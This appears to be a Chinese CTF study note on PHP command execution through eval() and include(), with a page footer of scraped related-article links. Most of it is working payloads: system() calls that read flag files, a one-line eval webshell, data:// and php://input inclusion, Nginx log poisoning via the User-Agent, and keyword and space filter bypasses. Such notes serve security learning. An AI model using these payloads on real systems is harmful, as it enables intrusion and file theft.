PHP命令执行与绕过
一、eval()函数调用--无严格过滤:

1、highlight_file()高亮显示:
?c=highlight_file(base64_decode("ZmxhZy5waHA="));
2、shell命令:
?c=system("tac fl*g.php");
?c=system("cat fl*g.php");
3、echo直接打印:(使用反引号包裹shell命令)
?c=echo 'tac fla*.php';
4、一句话木马:
?c=@eval($_GET[1]);&1=system("tac flag.php");
一句话木马 + cp拷贝命令:
?c=@eval($_GET[1]);&1=system("cp flag.php a.txt");

一句话木马 + php伪协议:
?c=@eval($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
5、include包含 + 伪协议:
?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
?c=include$_GET[1]?>&1=php://input + POST提交PHP命令执行代码
6、Nginx日志注入:
Nginx日志默认路径-->/var/log/nginx/access.log
?c=include$_GET[1]?>&1=../../../../var/log/nginx/access.log
通过UA头写入一句话木马-->system指令 / 蚁剑连接
7、php函数调用绕过关键字符过滤:
getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为"."
pos():输出数组第一个元素,不改变指针;
current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录
array_reverse():数组逆置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。
每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。
提示:该函数不会移动数组内部指针。
代码演示:
localeconv()函数:

pos(localeconv()):指向第一个元素,不改变指针

scandir(pos(localeconv()))-->参数为.以此遍历当前目录

通过遍历目录-->获取flag.php文件的具体位置:
?c=var_dump(scandir(pos(localeconv())));

再通过next()和array_reverse()令指针指向flag.php所在位置-->show_source()读取即可:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
二、include()函数使用不当导致命令执行:
详见 --> 文件包含与伪协议
三、分隔符 " ; " " || " " & " " && " 的使用:
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
(ctfshow-web42)

使用 || 只执行第一条命令:
?c=tac flag.php ||
四、关键字、关键符号、空格的绕过:
(1) 禁用 flag、tac等关键字:
flag --> fl*g
flag --> fla?
flag --> fl''ag
(2) 禁用 空格:
空格 --> ${IFS}、%09、< 等绕过方式
PHP命令执行与绕过的更多相关文章
- PING命令执行漏洞-绕过空格
目录 PING命令执行漏洞-绕过空格 这边介绍一下绕过空格的方法大概有以下几种 方法一:用变量拼接:我们发现源码中有一个$a变量可以覆盖 方法二:过滤bash?那就用sh.sh的大部分脚本都可以在ba ...
- 转:LNMP虚拟主机PHP沙盒绕过/命令执行(php exec命令被禁之后)
LNMP虚拟主机PHP沙盒绕过/命令执行 lnmp更新1.2版本,很多东西都升级了,很棒.不过还是发现一个BUG. LNMP是一款linux下nginx.php.mysql一键安装包. 下载:http ...
- Couchdb垂直权限绕过到命令执行
0x00couchdb简介 Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查 ...
- ctf-ping命令执行绕过
题目连接:http://ctf.klmyssn.com/challenges#Ping 命令执行绕过,试了试过滤了一些:一些命令 但是反引号可以执行命令 通过拼接,可以拼接出来:ls 命令 127.0 ...
- CTF中的命令执行绕过
本位原创作者:Smity 在介绍命令注入之前,有一点需要注意:命令注入与远程代码执行不同.他们的区别在于,远程代码执行实际上是调用服务器网站代码进行执行,而命令注入则是调用操作系统命令进行执行. 作为 ...
- CTF练习三 —— 命令注入&命令执行绕过
这个题是第四届强网杯也就是2020.8.22号开始的那场一道简单的命令注入题,再这之前我并没有学习过命令注之类的知识,,,看到题之后先搜在学,,误打误撞解了出来,过段时间wp就会放出来,所以这里就不对 ...
- [GXYCTF2019]Ping Ping Ping(ping命令执行绕过Waf)
记一道ping注入的题.过滤了很多字符. 分析 简单的测了一下,很容易就拿到了flag.php和index.php. 但是存在waf无法直接查看.直接?ip=127.0.0.1|cat flag.ph ...
- Maccms8.x 命令执行漏洞分析
下载链接https://share.weiyun.com/23802397ed25681ad45c112bf34cc6db 首先打开Index.php $m = be('get','m'); m参数获 ...
- SSD报告 - QRadar远程命令执行
SSD报告 - QRadar远程命令执行 漏洞摘要 QRadar中的多个漏洞允许远程未经身份验证的攻击者使产品执行任意命令.每个漏洞本身并不像链接那么强大 - 这允许用户从未经身份验证的访问更改为经过 ...
- PHP代码审计笔记--命令执行漏洞
命令执行漏洞,用户通过浏览器在远程服务器上执行任意系统命令,严格意义上,与代码执行漏洞还是有一定的区别. 0x01漏洞实例 例1: <?php $target=$_REQUEST['ip']; ...
随机推荐
- 在Eclipse中使用Project Explorer视图与Package Explorer视图
1.在项目文件比较多的情况下,为了方便查看整体和及时定位到项目文件,通常会同时使用Project Explorer视图与Package Explorer视图. 2.打开Project Explorer ...
- ComfyUI进阶:Comfyroll插件 (七)
前言: 学习ComfyUI是一场持久战,而Comfyroll 是一款功能强大的自定义节点集合,专为 ComfyUI 用户打造,旨在提供更加丰富和专业的图像生成与编辑工具.借助这些节点,用户可以在静态图 ...
- php环境-2024年3月19日
laravel 6[laravel的orm比其他框架的好用,可以写很少的代码就能完成] php 7.4 mysql 5.7 centos7 redis jwt 队列(laravel的redis队列,或 ...
- java面试一日一题:讲下mysql中的锁
问题:请讲下在mysql中的锁 分析:该问题主要考察对中锁的掌握,主要考察的是读.写锁.行锁.间隙锁.next-key,其他还有表锁.意向锁 回答要点: 主要从以下几点去考虑, 1.mysql中的锁有 ...
- 【Java】【常用类】Comparable 可比较接口 Comparator 比较器接口
我们需要对对象进行排序,但是对象不是像基本类型的那样,是具体的数值 如果要对对象比较,需要实现两个接口的任意一个即可 Comparable 可比较接口 Comparator 比较器接口 String包 ...
- 并行化强化学习 —— 最终版本 —— 并行reinforce算法的尝试
本文代码地址: https://gitee.com/devilmaycry812839668/final_-version_-parallelism_-reinforce_-cart-pole 结合了 ...
- UBUNTU18.04 SERVER 多显卡 服务器,为防止显卡计算任务出现不意外报错,设置显卡工作状态为:设定持久模式
参考: https://www.cnblogs.com/devilmaycry812839668/p/14799016.html https://www.cnblogs.com/devilmaycry ...
- 《最新出炉》系列初窥篇-Python+Playwright自动化测试-63 - Canvas和SVG元素定位
1.简介 今天宏哥分享的在实际测试工作中很少遇到,比较生僻,如果突然遇到我们可能会脑大.懵逼,一时之间不知道怎么办?所以宏哥这里提供一种思路供大家学习和参考. 2.SVG简介 svg也是html5新增 ...
- C#开发的全屏图片切换效果应用 - 开源研究系列文章 - 个人小作品
这天无聊,想到上次开发的图片显示软件< PhotoNet看图软件 >,然后想到开发一个全屏图片切换效果的应用,类似于屏幕保护程序,于是就写了此博文.这个应用比较简单,主要是全屏切换换图片效 ...
- 如何使用4G模块通过MQTT协议传输温湿度数据到onenet
本次实验是采用SIM7600CE 4G cat4 模块进行操作的,本模块支持GNSS定位功能.也可以采用别的4G模块,只要支持TCP传输就行.本模块支持的AT命令相当强大,拥有TCP&UDP命 ...